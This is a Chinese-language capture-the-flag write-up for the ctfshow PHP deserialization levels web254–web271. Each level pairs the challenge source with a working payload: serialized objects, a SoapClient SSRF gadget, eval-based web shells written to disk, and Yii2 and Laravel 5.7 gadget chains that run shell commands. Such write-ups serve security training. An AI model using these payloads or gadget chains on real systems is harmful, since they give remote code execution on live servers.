ctfshow-web入门-反序列化

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  • 18

web254

先看题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这道题目没什么特殊，甚至用不到反序列化，直接GET传参username和password的值与源码中一样即可

?username=xxxxxx&password=xxxxxx

完成

web255

先看题目

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这道题和上一题的不同就在与，它在赋值时会从cookie中获取user的值

这里是unserialize，所以只需要将cookie中user值改为new ctfShowUser();的内容即可,又因为只有$this->isVip是true才能是flag，所以反序列化的内容为

<?php
class ctfShowUser{
    public $isVip=true;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

web256

题目

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这道题和上一题不同的是多了一个判断，即username!=password

所以构造代码

<?php
class ctfShowUser{
	public $username='xxxxxx';
	public $password='123';
	public $isVip=true;}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>

web257

看题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这道题用了魔术变量__construct和__destruct

__construct 是 PHP 中的一个特殊方法，也被称为构造函数。它用于在创建对象时初始化对象的属性或执行其他必要的设置操作。

当你使用 new 关键字创建一个对象时，PHP 会自动调用该类的构造函数。构造函数没有返回值（也不应该有返回值），并且其名称总是 __construct

__destruct` 是 PHP 中的一个魔术方法（magic method），也被称为析构函数。当对象不再被引用或者脚本执行完毕时，PHP 会自动调用这个析构函数来执行一些清理操作。

析构函数主要用于执行一些清理任务，比如关闭数据库连接、释放文件句柄、释放锁等。当对象被销毁时，析构函数会自动被调用，因此不需要显式地调用它。

所以可以构造

<?php

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code='system("tac flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}

$a=new ctfShowUser();
echo urlencode(serialize($a));

web258

看题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

这道题多了正则匹配

/`[oc]:\d+:/i意思就是不能出现O:数字，我们用0:+数字即可绕过。

` [oc]: 就是正则匹配的意思 \d: 匹配一个数字字符。等价于 [0-9]。

+: 匹配前面的子表达式一次或多次。

例如，'zo+' 能匹配 "zo" 以及 "zoo"，但不能匹配 "z"。+ 等价于 {1,}。

/i: 表示匹配的时候不区分大小写

所以可以构造

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}
echo serialize(new ctfShowUser);
?>

出现的是O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}

再修饰一下

O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}}

最后再url编码一下

O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system('tac%20f*')%3B%22%3B%7D%7D

web259

这道题有点特殊，

他是一个原生类的题

要想得到flag，必须本地访问flag.php而且带上token，

可以利用php的SoapClient原生类的反序列化

所以构造

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

传完之后有报错，不用管

然后访问flag.txt

完成

web260

看题

<?php

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

这个简单，传入的ctfshow中序列化出来需要有ctfshow_i_love_36D。

<?php
class ctfshow{
    public $a='ctfshow_i_love_36D';
}
echo serialize(new ctfshow());
?>

web261

看题

highlight_file(__FILE__);

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

这道题使用了__unserialize() 和 __wakeup() 两个魔术方法

注：如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法， 则只有 __unserialize() 方法会生效，__wakeup() 方法会被忽略。

当反序列化时会进入__unserialize中 而且也没有什么方法可以进入到__invoke中，所以无法利用危险函数eval

只要满足code==0x36d(877)就可以了。 而code是username和password拼接出来的。 所以只要username=877.php password=shell就可以了。 877.php==877是成立的（弱类型比较） 利用__construct函数把username和password写进去

构造

<?php
class ctfshowvip{
    public $username;
    public $password;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";}

所以payload：
?vip=O:10:"ctfshowvip":2:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[1]);?>";} 访问877.php，并post传入：1=phpinfo();

成功

web262

先看源码

<?php
 
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
 
*/
 
 
error_reporting(0);
class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}
 
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
 
if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    setcookie('msg',base64_encode($umsg));
    echo 'Your message has been sent';
}
 
highlight_file(__FILE__);

发现没什么和flag有关的东西

再看看前面，发现有message.php，所以访问一下它

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_COOKIE['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

可以看到输出 flag 的条件是 $msg->token==’admin’ ，也就是说，我们要将 token 进行修改

所以先构造

<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;

结果  O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:1:"1";s:5:"token";s:4:"user";}

我们可以利用$to这个变量，利用PHP反序列化的特点，即}，将s:5:"token";s:4:"user";分隔开，然后将

s:5:"token";s:5:"admin";放进去，所以我们进行构造，注意闭合

//";s:5:"token";s:5:"admin";} 这一共27个字符长度就是我们需要插入的字符串

<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;

结果  O:7:"message":4:O:7:"message":4:{s:4:"from";s:1:"d";s:3:"msg";s:1:"m";s:2:"to";s:28:"1";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

但这个不能直接用

但是这个output不能直接使用，因为s:2:"to";s:28:"1";,这里会让PHP默认to的值为1，但长度出错了

这时候我们就可以用前面的str_replace('fuck', 'loveU', serialize($msg));语句

利用loveU替换fuck补充这27的差值，一个fuck比一个loveU多一个长度，27个fuck就会多出27个长度

<?php 
class message{
    public $from='d';
    public $msg='m';
    public $to='1fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
    public $token='user';
    }
$msg= serialize(new message);
echo $msg;

 最后？f=1&m=2&t=6fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

再访问message.php即可

web263

不会看大佬的

这道题和以前相比又不一样

存在www.zip下载后打开

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:28:37
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
	error_reporting(0);
	session_start();
	//超过5次禁止登陆
	if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}
	
?>


<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="initial-scale=1,maximum-scale=1, minimum-scale=1">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no">
	<title>ctfshow登陆</title>
	<link href="css/style.css" rel="stylesheet">
</head>
<body>

	<div class="pc-kk-form">
		<center><h1>CTFshow 登陆</h1></center><br><br>
		<form action="" onsubmit="return false;">
			<div class="pc-kk-form-list">
				<input id="u" type="text" placeholder="用户名">
			</div>
			<div class="pc-kk-form-list">
				<input id="pass" type="password" placeholder="密码">
			</div>
			
			<div class="pc-kk-form-btn">
				<button onclick="check();">登陆</button>
			</div>
		</form>
	</div>


	<script type="text/javascript" src="js/jquery.min.js"></script>

	<script>

		function check(){
			$.ajax({
			url:'check.php',
			type: 'GET',
			data:{
				'u':$('#u').val(),
				'pass':$('#pass').val()
			},
			success:function(data){
				alert(JSON.parse(data).msg);
			},
			error:function(data){
				alert(JSON.parse(data).msg);
			}

		});
		}


	</script>

</body>
</html>

check.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-03 16:59:10
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-06 19:15:38
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);


if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号，防止爆破
		]
	]);
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}

inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
$db = new CTFSHOW([
    'database_type' => 'mysql',
    'database_name' => 'web',
    'server' => 'localhost',
    'username' => 'root',
    'password' => 'root',
    'charset' => 'utf8',
    'port' => 3306,
    'prefix' => '',
    'option' => [
        PDO::ATTR_CASE => PDO::CASE_NATURAL
    ]
]);

// sql注入检查
function checkForm($str){
    if(!isset($str)){
        return true;
    }else{
    return preg_match("/select|update|drop|union|and|or|ascii|if|sys|substr|sleep|from|where|0x|hex|bin|char|file|ord|limit|by|\`|\~|\!|\@|\#|\\$|\%|\^|\\|\&|\*|\(|\)|\（|\）|\+|\=|\[|\]|\;|\:|\'|\"|\<|\,|\>|\?/i",$str);
    }
}


class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

/*生成唯一标志
*标准的UUID格式为：xxxxxxxx-xxxx-xxxx-xxxxxx-xxxxxxxxxx(8-4-4-4-12)
*/

function  uuid()  
{  
    $chars = md5(uniqid(mt_rand(), true));  
    $uuid = substr ( $chars, 0, 8 ) . '-'
            . substr ( $chars, 8, 4 ) . '-' 
            . substr ( $chars, 12, 4 ) . '-'
            . substr ( $chars, 16, 4 ) . '-'
            . substr ( $chars, 20, 12 );  
    return $uuid ;  
}

构造链子：

<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
echo serialize($user);
echo("\n");
echo base64_encode('|'.serialize($user));

output：
O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

具体实操：

先访问index.php,修改limit的cookie为

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

execute

写进去之后，访问check.php?u=123&pass=123

execute

最后访问log-1.php,成功rce

post；
1=system('tac f*.php');

web264

同262

web265

先看题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这道题只需要让password全等于token就行了，但它的token有好死不死的用了md5加密

所以就不能爆破

就得用到php了

<?php
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = &$this->token;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$a = new ctfshowAdmin('1','1');
echo serialize($a);

payload：

?ctfshow=O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}

web266

看题

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

有魔术方法__destruct，只要触发就可以得到flag

先抓包

输入O:7:"ctfshow":2:{ctfshow}

web267

又是这种不按常规出的东西，看大佬

登录admin/admin

查看about页面源码

尝试到/index.php?r=site%2Fabout&view-source

<?php
 
 
 
namespace yii\rest{
 
    class IndexAction{
 
        public $checkAccess;
 
        public $id;
 
        public function __construct(){
 
            $this->checkAccess = 'exec';
 
            $this->id = 'ls />feng.txt';
 
        }
 
    }
 
}
 
namespace Faker {
 
 
 
    use yii\rest\IndexAction;
 
 
 
    class Generator
 
    {
 
        protected $formatters;
 
 
 
        public function __construct()
 
        {
 
            $this->formatters['close'] = [new IndexAction(), 'run'];
 
        }
 
    }
 
}
 
namespace yii\db{
 
 
 
    use Faker\Generator;
 
 
 
    class BatchQueryResult{
 
        private $_dataReader;
 
        public function __construct()
 
        {
 
            $this->_dataReader=new Generator();
 
        }
 
    }
 
}
 
namespace{
 
 
 
    use yii\db\BatchQueryResult;
 
 
 
    echo base64_encode(serialize(new BatchQueryResult()));
 
}

playload: 

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo0OiJleGVjIjtzOjI6ImlkIjtzOjEzOiJscyAvPmZlbmcudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19

然后再改一下

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /flag';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace phpDocumentor\Reflection\DocBlock\Tags{
 
    use Faker\Generator;
 
    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

传入后即可

web268

加了过滤flag，但和267的一样，用上一题的方法即可

web269

用之前的依然可以

web270

这里用这个

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'cat /fl*';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

 
web271

laravel5.7的反序列化

 参考aravel5.7 反序列化漏洞复现

<?php
namespace Illuminate\Foundation\Testing{
 
    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;
 
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="cat /flag";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{
 
    use Illuminate\Foundation\Testing\PendingCommand;
 
    echo urlencode(serialize(new PendingCommand()));
}

传参即可得到flag

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